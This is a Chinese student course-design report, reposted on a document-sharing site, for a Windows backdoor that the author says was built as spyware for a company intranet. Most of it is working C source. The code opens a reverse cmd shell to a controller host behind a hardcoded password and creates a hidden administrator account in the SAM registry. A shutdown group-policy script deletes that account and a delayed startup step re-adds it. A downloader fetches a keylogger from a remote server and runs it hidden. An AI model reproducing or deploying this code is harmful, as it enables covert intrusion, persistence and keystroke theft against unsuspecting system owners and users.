版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、.课 程 设 计 报 告 课程名称:面向对象程序设计 设计题目: 基于反弹Socket通信的windows系统后门实现 专 业:计算机科学与技术 姓 名: 学 号: 指导教师:李 晓 虹2016 年 1 月 5 日基于反弹socket通信的windows系统后门程序前言由于工作需要,本人开发了一个比较强大的windows系统后门程序管理某个公司内网作为间谍软件,经过一翻修改,将大部分功能去掉,公布了这部分功能源代码,请老师细看,绝对是网上独一无二的后门程序,开发周期为3个月的时间(此次作业仅为部分主要功能源代码),此程序具有一定的破坏性,请勿恶意使用,仅仅做测试即可。1. 需求分析1.1 介绍
2、后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。基于反弹socket通信的windows系统后门程序,此程序为典型恶意后门程序,在渗透测试的过程中我们会获取目标服务器的系统权限,如果目标服务器刚好在企业内网里,通过拿下的服务器可以进行进一步的信息搜集渗透内网里的其他网络,如果目标服务是公网服务器,那么可以保存下来做中转跳板,要达到以上目的都需要服务器长久的保存下去,毕竟大多数情况下我们是未授权而进入系统的,管理员的维护活动很有可能修补了我们所能利用的漏洞,如果能通过合适的后门程序来维护被我们攻陷的服务器,那么在一定程度上可以延长服务器在我们手中的控制时间。下
3、面来简要的介绍一下这个windows系统后门的功能:程序分为三个子程序,分别为:HVNcon.exe:后门主控制程序,包含主要的系统操作代码与后门反弹连接代码,其中包含的功能有服务安装、关机计划注册表操作、写Explorer启动项、下载者、反弹cmdshell、cmdshell密码保护。HVNADD.exe主要功能是延时添加指定用户到注册表中,代码中设置了sleep函数在系统启动后规定的时间外执行用户添加,HVNcon.exe中写Explorer启动项就是为了执行HVNADD.exe。HVNdel.exe主要功能是关机执行的从注册表SAM中删除指定用户信息的任务,HVNcon.exe中关机计划
4、注册表操作函数就是实现此功能。1.2 功能简介服务启动服务是指执行指定系统功能的程序、进程,以便支持其他程序,尤其是底层程序,服务就是一种特殊的应用程序,服务启动后对应的程序就一直运行,对于自启动的服务,在系统加载完后就自动启动,而不需要登陆,采用服务启动可以获取系统最高权限,而不仅仅是当前用户权限。反弹后门连接反弹后门的工作原理与常见的木马不一样,反弹后门的连接为反向连接方式,也就是让我们预控制的目标中马后来反向连接我们的控制端,由于防火墙对外连的流量一般是放行的,都是信任的流量,也就信任了反弹后门的行为。后门连接密码保护对我们已经控制了的服务器,为了不被其他黑客所利用,通常会为自己的后门加
5、密码验证来保护自己所控制的服务器。隐藏用户的重启隐藏此功能为本后门的又一大亮点,在为服务器添加隐藏账后可能由于各种原因管理员要对服务器进行维护更有可能重启服务器,那么在“计算机管理”里的“本地用户和组”“用户”里会通过重新读取注册表SAM来显示出我们的隐藏用户,那么我想到的思路则是关闭服务器的过程中从注册表中删除隐藏用户重启服务器后延时添加我们的隐藏用户的操作。这里通过HVNcon.exe来写入Explorer/Run启动项来开机进入桌面后自动调用HVNADD.exe来添加用户。下载者通过去互联网上下载其他恶意程序到本地执行其他恶意行为,如:键盘记录、远程监听、广告插件等。2. 总体设计 2.
6、1 功能要求(1) 支持单个目标客户端的连接,在服务器和多个客户端之间进行数据传输;(2) 利用C/S socket通信,反弹连接,由客户端主动去连接服务端,可在服务端上执行客户端的命令并将显示结果回传;(3) 在用户连接上后有提示,显示出连接信息与客户端主机名;(4) 在系统注册表中创建用户配置;(5) 关机前删除注册表中的用户,重启完成后延时在注册表中创建关机前删除的用户。2.3系统主要功能和主要功能描述:服务器端控制程序能够做的事情:(1) 隐藏用户,并且重启隐藏,当运行此程序时恶意用户会在服务器关机后被删除,开机后延迟在注册表中创建隐藏账户。(2) 反弹连接,由客户端主动通过Socke
7、t隧道连接服务端,并执行CMD命令。(3) 通过下载者功能可以下载其他程序到客户端上执行。(4) 通过服务启动,并非注册表启动项启动,可以获得系统最高权限。3. 详细设计3.1 隐藏用户的重启隐藏隐藏用户的基本创建思路是首先创建一个基本的最后带$符号的用户,然后将HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers下的目标隐藏用户的二进制目录与HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames下的用户名称导出到本地磁盘,然后删除刚才创建的隐藏用户,将导出的注册表键值导入注册表就完成了隐藏用户的创建,这样就创建了隐藏
8、用户,重启系统后打开“计算机管理”“本地用户和组管理”“用户”后会自动刷新HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames下的用户而显示出来,这时创建的隐藏用户会再次显示出来。解决方法既然在重启系统后打开“本地用户和组管理”会重新刷新注册表来显示出里面的隐藏用户,那么想到的思路是关机时执行某个脚本程序来删除我们创建隐藏用户,重启系统后再延时创建隐藏用户来达到绕过注册表键值刷新。实施在“运行”中打开“CMD”,在“计算机配置”“Windows设置”“脚本(启动/关机)”中“关机”配置里面可以添加我们需要执行的脚本或程序,如图3-1所示:图3-1这里
9、可以添加某个删除用户的脚本或程序来达到关闭系统删除隐藏用户的功能,这里首先尝试添加任意程序后组策略在注册表里写了哪些键值,如图3-2、图3-3所示:图3-2图3-3从在注册表中查找到的HVNdel.exe来看,写入的注册表中的位置为:(1) HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionGroup PolicyStateMachineScriptsShutdown(2) HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftwindowsSystemScriptsShutdown定位到Shutdo
10、wn下面的子键与值:HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftwindowsSystemScriptsShutdown0如图3-4所示图3-4HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftwindowsSystemScriptsShutdown00如图3-5所示图3-5HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionGroup PolicyStateMachineScriptsShutdown中键值同上。启动添加用户的话就简单了直接将我们需要创建的
11、隐藏用户写入:HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames,将“类型”指向Administrator所指向的HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers下的键名称。有了注册表键值创建位置那么这些都可以通过注册表编程来实现注册表的读、写、删。代码实现首先当然是用户删除代码:#include #include #pragma comment( linker, /subsystem:windows /entry:mainCRTStartup )typedef struct stuint m_num;int
12、m_name;void main(void)HKEY hKey;if(RegOpenKey(HKEY_LOCAL_MACHINE,SAMSAMDomainsAccountUsersNames, &hKey) = ERROR_SUCCESS)RegDeleteKey(hKey,zzadmin$);RegCloseKey(hKey);typedef struct stuint m_num;int m_name;这段预定义的作用是隐藏程序的执行窗口。RegOpenKey()函数打开指定注册表键,打开后调用RegDeleteKey()函数来删除指定的键,并关闭。删除/添加隐藏账号代码实现:void s
13、tartup(void) /延迟50000毫秒执行函数代码Sleep(50000); HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubkey = SAMSAMDomainsAccountUsersNameszzadmin$;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXISTING_KEY; /递归创建下面的子健(不存在则创建)LONG lRet = RegCreateKeyEx (hRoot,szSubkey,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL
14、,&hKey,&dwDisposition);if(lRet != ERROR_SUCCESS)return; /创建键值 lRet = RegSetValueEx (hKey,0,/0x1f5,0x000001F4,/0x3ee,NULL,NULL);void MachineShutdown(void)HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubKey = SOFTWAREMicrosoftWindowsCurrentVersionGroup PolicyStateMachineScriptsShutdown0;HKEY hKey;DWORD dwD
15、isposition = REG_OPENED_EXISTING_KEY;LONG lRet = RegCreateKeyEx (hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);if (lRet != ERROR_SUCCESS)return;lRet = RegSetValueEx (hKey,DisplayName,0,REG_SZ,(unsigned char *)Local Group Policy,25);lRet = RegSetValueEx (hKe
16、y,FileSysPath,0,REG_SZ,(unsigned char *)C:WINDOWSSystem32GroupPolicyMachine,45);lRet = RegSetValueEx (hKey,GPO-ID,0,REG_SZ,(unsigned char *)LocalGPO,15);lRet = RegSetValueEx (hKey,GPOName,0,REG_SZ,(unsigned char *)Local Group Policy,25);lRet = RegSetValueEx (hKey,SOM-ID,0,REG_SZ,(unsigned char *)Loc
17、al,10);if(lRet = ERROR_SUCCESS)printf( self run successn);RegCloseKey(hKey);void MachineShutdownScript(void)HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubKey = SOFTWAREMicrosoftWindowsCurrentVersionGroup PolicyStateMachineScriptsShutdown00;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXISTING_KEY;LONG lR
18、et = RegCreateKeyEx (hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);if(lRet != ERROR_SUCCESS)return;lRet = RegSetValueEx (hKey,Parameters,0,REG_SZ,NULL,NULL);lRet = RegSetValueEx (hKey,Script,0,REG_SZ,(unsigned char *)C:WINDOWSuserdel.exe,25);if(lRet = ERROR
19、_SUCCESS)printf( self run successn);RegCloseKey(hKey);void MachineStartup(void)HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubKey = SOFTWAREMicrosoftWindowsCurrentVersionGroup PolicyStateMachineScriptsStartup;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXISTING_KEY;LONG lRet = RegCreateKeyEx (hRoot,szSub
20、Key,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);if(lRet != ERROR_SUCCESS)return;void PoliciesSystemShutdown(void)HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubKey = SOFTWAREPoliciesMicrosoftwindowsSystemScriptsShutdown0;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXISTING_K
21、EY;LONG lRet = RegCreateKeyEx (hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);if(lRet != ERROR_SUCCESS)return;/char szModuleMAX_PATH;/GetModuleFileName (NULL, szModule, MAX_PATH);lRet = RegSetValueEx (hKey,DisplayName,0,REG_SZ,(unsigned char *)Local Group Po
22、licy,25);lRet = RegSetValueEx (hKey,FileSysPath,0,REG_SZ,(unsigned char *)C:WINDOWSSystem32GroupPolicyMachine,45);lRet = RegSetValueEx (hKey,GPO-ID,0,REG_SZ,(unsigned char *)LocalGPO,15);lRet = RegSetValueEx (hKey,GPOName,0,REG_SZ,(unsigned char *)Local Group Policy,25);lRet = RegSetValueEx (hKey,SO
23、M-ID,0,REG_SZ,(unsigned char *)Local,10);if(lRet = ERROR_SUCCESS)printf( self run successn);RegCloseKey(hKey);void PoliciesSystemShutdownScript(void)HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubKey = SOFTWAREPoliciesMicrosoftwindowsSystemScriptsShutdown00;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXI
24、STING_KEY;LONG lRet = RegCreateKeyEx (hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);if(lRet != ERROR_SUCCESS)return;lRet = RegSetValueEx (hKey,Parameters,0,REG_SZ,NULL,NULL);lRet = RegSetValueEx (hKey,Script,0,REG_SZ,(unsigned char *)C:WINDOWSuserdel.exe,25
25、);if(lRet = ERROR_SUCCESS)printf( self run successn);RegCloseKey(hKey);void PoliciesSystemStartup(void)HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubKey = SOFTWAREPoliciesMicrosoftwindowsSystemScriptsStartup;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXISTING_KEY;LONG lRet = RegCreateKeyEx (hRoot,szSub
26、Key,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);if(lRet != ERROR_SUCCESS)return;以上是根据前面对注册表的启动计划分析出来的必须创建的键/值,并通过RegCreateKeyEx()来创建对应的键/值。以上对注册表键值的添加的前提都是前面经过对关机计划策略分析所得出的注册表操作选项。由于我们需要对后门程序进行开机延迟添加用户的操作,这样是为了防止系统开机后马上去注册表SAM上去读取到用户值而暴露到用户和组中,所以我们需要设置开机运行的USERADD.exe添加
27、用户的延迟时间,这里是可以随意设置的,USERADD.cpp代码量小,所以直接写在main函数里,代码如下:void main(void)Sleep(50000); Sleep(50000);HKEY hRoot = HKEY_LOCAL_MACHINE;char *szSubkey = SAMSAMDomainsAccountUsersNameszzadmin$;HKEY hKey;DWORD dwDisposition = REG_OPENED_EXISTING_KEY; /设置注册表键值LONG lRet = RegCreateKeyEx (hRoot,szSubkey,0,NULL,R
28、EG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);if(lRet != ERROR_SUCCESS)return; /需要设置的指定注册表的键值lRet = RegSetValueEx (hKey,0,/0x1f5,0x000001F4, /直接指向Administrator的键值来达到克隆管理员权限的目的/0x3ee,NULL,NULL);3.2 反弹后门连接最原始的木马或后门程序采用正向连接的方式来访问目标服务器的cmdshell,这样很容易被系统防火墙或网络防火墙所拦截。解决方法反弹后门连接相比于正向连接优
29、势在于反弹连接可以突破传统的防火墙恶意网络连接拦截,利用了反向连接控制端的原理来绕过了防火墙的正向限制连接规则,让被控计算机在能上互联网的情况下主动去连接控制端端口,这样在大多数防火墙严进宽出的策略下也能访问我们的目标服务器。实施通过指向预定义的控制端地址来调用socket网络连接方式来创建cmdshell连接隧道。创建套接字函数socket()介绍:应用程序调用socket函数来创建一个能够进行网络通信的套接字。格式:SOCKET PASCAL FAR socket(int af, int type, int procotol)af:通信发生区域type:要建立的套接字procotol:使用
30、的特定协议指定本地地址函数bind()介绍:将套接字地址与所创建的套接字号联系起来建立套接字连接函数connect()和accept()介绍:完成连接工作,客户端程序调用connect函数来使客户端与监听某端口的服务端进行连接,如果连接成功则connect返回0,如果失败则返回SOCKET_ERROR。格式:int PASCAL FAR connect(SOCKET s,const struct sockaddr FAR * name,int namele);SOCKET PASCAL FAR accept(SOCKET s,struct sockaddr FAR * name,int FAR
31、 * addrlen);监听连接函数listen()介绍:用于面向连接服务器,表明它愿意接收连接。数据传输函数send()与recv()介绍:数据的发送与接收。代码实现代码中后门主程序函数为door()函数,代码与注释如下:int door () SOCKET sock=NULL; struct sockaddr_in sai; TCHAR UserPass20=0; /用户设置密码缓冲 TCHAR PassBuf20=0; /接收密码缓冲 TCHAR PassBanner=Password:; TCHAR Banner=- console-door -n; sai.sin_family=AF
32、_INET; sai.sin_addr.s_addr=inet_addr(DEST_IP_ADDR); /网络地址字符串转换成网络所使用的二进制数字 sai.sin_port=htons(PORT); /把实际内存中的整数存放方式调整成“网络字节序”的方式 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /创建套接字 while (TRUE) WSADATA wsadata; BOOL ThreadFlag=FALSE; DWORD ThreadID=0; int nRet=0; nRet=WSAStartup(MAKEWORD(2,2),&wsad
33、ata); /初始化 if (nRet) return 0; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (sock=INVALID_SOCKET) /如果为无效套接字 goto Clean; /跳转 nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr);Sleep(5000); if (nRet!=SOCKET_ERROR) nRet=send(sock,Banner,sizeof (Banner),0); while (TRUE) /建立好socket套接字后
34、向sock连接发送密码输入提示PassBanner nRet=send(sock,PassBanner,sizeof (PassBanner),0); /用来接收远端主机经指定的socket 传来的密码数据 nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0); if (strnicmp(PassBuf,admin,strlen(admin)=0) /判断密码正确性 send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0); ThreadFlag=TRUE; break; if (nRet=SOCKET_ERROR) got
35、o Clean; Sleep(100); if (ThreadFlag) CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain,(LPVOID)sock,0,&ThreadID); /endwhile Sleep(1000); Clean: if (sock!=NULL) closesocket(sock); WSACleanup(); return 0;door()函数主要的实现功能便是指定cmdshell保护密码的缓冲,将网络地址与端口号转换为网络字节序以及端口号二进制数,创建套接字,然后判断是否为有效套接字,接着建立好连接后发送密
36、码输入提示,当控制端输入密码后服务端接受传来的密码字符串进行判断,判断成功后ThreadFlag=TRUE,跳出if结构到CreateThread()函数执行EXEBackMain API,那么我们跳到EXEBackMain API 去看看代码:VOID WINAPI EXEBackMain (LPVOID s)/BOOL EXEBackMain (SOCKET sock) SOCKET sock=(SOCKET)s; STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hRead=NULL,hWrite=NULL; TCHAR CmdSign=nGo
37、od Luck!:; while (TRUE) TCHAR MsgError50=0; /错误消息缓冲 TCHAR Cmdline300=0; /命令行缓冲 TCHAR RecvBuf1024=0; /接收缓冲 TCHAR SendBuf2048=0; /发送缓冲 SECURITY_ATTRIBUTES sa; DWORD bytesRead=0; int ret=0; sa.nLength=sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor=NULL; sa.bInheritHandle=TRUE; /创建匿名管道 if (!Create
38、Pipe(&hRead,&hWrite,&sa,0) goto Clean; si.cb=sizeof(STARTUPINFO); GetStartupInfo(&si); si.hStdError=hWrite; si.hStdOutput=hWrite; /进程(cmd)的输出写入管道 si.wShowWindow=SW_HIDE; si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(Cmdline,sizeof (Cmdline); /获取系统目录 strcat(Cmdline,cmd.ex
39、e /c ); /拼接cmd / ret=send(sock,CmdSign,sizeof (CmdSign),0); /向目标发送提示符 if (ret=SOCKET_ERROR) goto Clean; ret=recv(sock,RecvBuf,sizeof (RecvBuf),0); /接收目标数据/如果为exit或quit,就退出 if (strnicmp(RecvBuf,exit,4)=0|strnicmp(RecvBuf,quit,4)=0) send(sock,BYEBYE,sizeof (BYEBYE),0); goto Clean; /表示对方已经断开 if (ret=SO
40、CKET_ERROR) goto Clean; /表示接收数据出错 if (ret=0) #ifdef DEBUGMSG sprintf(MsgError,recv() GetLastError reports %dn,WSAerron); send(sock,MsgError,sizeof (MsgError),0); #endif continue; Sleep(100); strncat(Cmdline,RecvBuf,sizeof (RecvBuf); /拼接一条完整的cmd命令/创建进程,也就是执行cmd命令 if (!CreateProcess(NULL,Cmdline,NULL,
41、NULL,TRUE,NULL,NULL,NULL,&si,&pi) continue; CloseHandle(hWrite); while (TRUE) /无限循环读取管道中的数据,直到管道中没有数据为止 if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)=0) break; send(sock,SendBuf,bytesRead,0); /发送出去 memset(SendBuf,0,sizeof (SendBuf); /缓冲清零 Sleep(100); Clean: /释放句柄 if (hRead!=NULL) Clos
42、eHandle(hRead); if (hWrite!=NULL) CloseHandle(hWrite); /释放SOCKET if (sock!=NULL) closesocket(sock); WSACleanup(); ExitThread(0); /return 0;EXEBackMain函数创建了匿名管道,将CMD写入匿名管道,通过获取系统目录拼接cmd.exe来向目标发送指令,接着判断是否是退出指令,服务端上创建cmd进程,读取管道中从控制端发来的指令并执行,直到这次读取完毕为止,然后释放socket套接字。以上就是反弹后门连接的实现思路与代码,没啥新思路,也就是利用了socke
43、t网络通信来进行网络反弹连接,当然前提是在控制端也要监听全局常量PORT所指向的端口号,并且服务端可以无限制访问控制端监听的端口,最好将公网上的某台服务器作为控制端。如图3-6所示,直接突出了反弹连接的优势所在。图3-63.3 下载者下载者功能为了实现运行后门程序的同时去网上下载其他恶意程序或广告插件到本地运行,从而实现其他恶意目的。解决方法解决方法很简单,通过http协议去网站服务器上下载exe文件和dll动态连接库到本地并执行EXE文件,这里我用的键盘记录程序作为案例。实施URLDownloadToFile函数来指定URI。代码实现下载键盘记录主程序为KBDLogger.exe,通过自定义
44、的down()函数实现,代码如下:void down()HRESULT urldown;urldown = URLDownloadToFile(NULL, 45/KBDLogger.exe, C:WINDOWSsystem32KBDLogger.exe, 0, NULL);switch(urldown)case E_OUTOFMEMORY:break;case S_OK:printf(success);WinExec(C:WINDOWSsystem32KBDLogger.exe, SW_HIDE);break;由于KBDLogger.exe需要msvcrt
45、d.dll、mfco42d.dll支持,所以分别调用两个函数去下载:函数1:void downmsvcrtd()HRESULT urldown;urldown = URLDownloadToFile(NULL, 45/msvcrtd.dll, C:WINDOWSsystem32msvcrtd.dll, 0, NULL);switch(urldown)case E_OUTOFMEMORY:break;case S_OK:printf(success);break;函数2:void downmfco42d()HRESULT urldown;urldown =
46、URLDownloadToFile(NULL, 45/mfco42d.dll, C:WINDOWSsystem32mfco42d.dll, 0, NULL);switch(urldown)case E_OUTOFMEMORY:break;case S_OK:printf(success);break;3.4 服务启动传统的木马程序或后门的启动方式为加载注册表启动项,常见的启动项键有:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun每当系统有用户登陆后会读取这里的键值来启动相应的程序,但是运行权限为当前用户,并且要在有用户登陆时才能启动。解决方法通过安装服务到系统中来运行我们的反弹后门连接可以将我们的权限提升到系统内核的最高权限:system,并且在系统用户登陆前便可以启动系统服务来反弹连接后门程序。实施通过C语言对服务编程来添加后门服务到系统服务中去并启动后门程序的服务。Windows服务包括四大部分:服务控制管理器(Service Control Manager)、服务控制程序(Service Control Program)、服
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025湖南省安全员知识题库
- 《医院人力资源管理》课件
- 【大学课件】对国际贸易中文化差异的思考
- 小学硬笔书法教学课件
- 《锻鍊正确判断力》课件
- 公用事业行业十二月行业动态报告:多地25年电力交易结果发布电价靴子落地
- 单位管理制度展示选集【人力资源管理篇】十篇
- 某河滩地人工湿地工程建设项目环境评估报告书
- REITs月报:REITs二级市场震荡上行常态化发行进一步加速
- 单位管理制度收录大全【人事管理篇】十篇
- (正式版)JBT 5300-2024 工业用阀门材料 选用指南
- 体育赛事旅游产业化路径研究以厦门国际马拉松赛为例
- 《铁道概论课件》课件
- 双师课堂方案
- 2024年广东清远市清城区顺拓投资公司招聘笔试参考题库含答案解析
- 巴基斯坦炼铜工艺流程
- 四川省巴中市2023-2024学年高二上学期期末考试物理试题【含答案解析】
- 《两小儿辩日》教学案例:培养学生的思辨能力
- 现代物业服务体系实操系列物业服务沟通与投诉解决指南
- 2024年电力储能行业培训资料
- MSOP(测量标准作业规范)测量SOP
评论
0/150
提交评论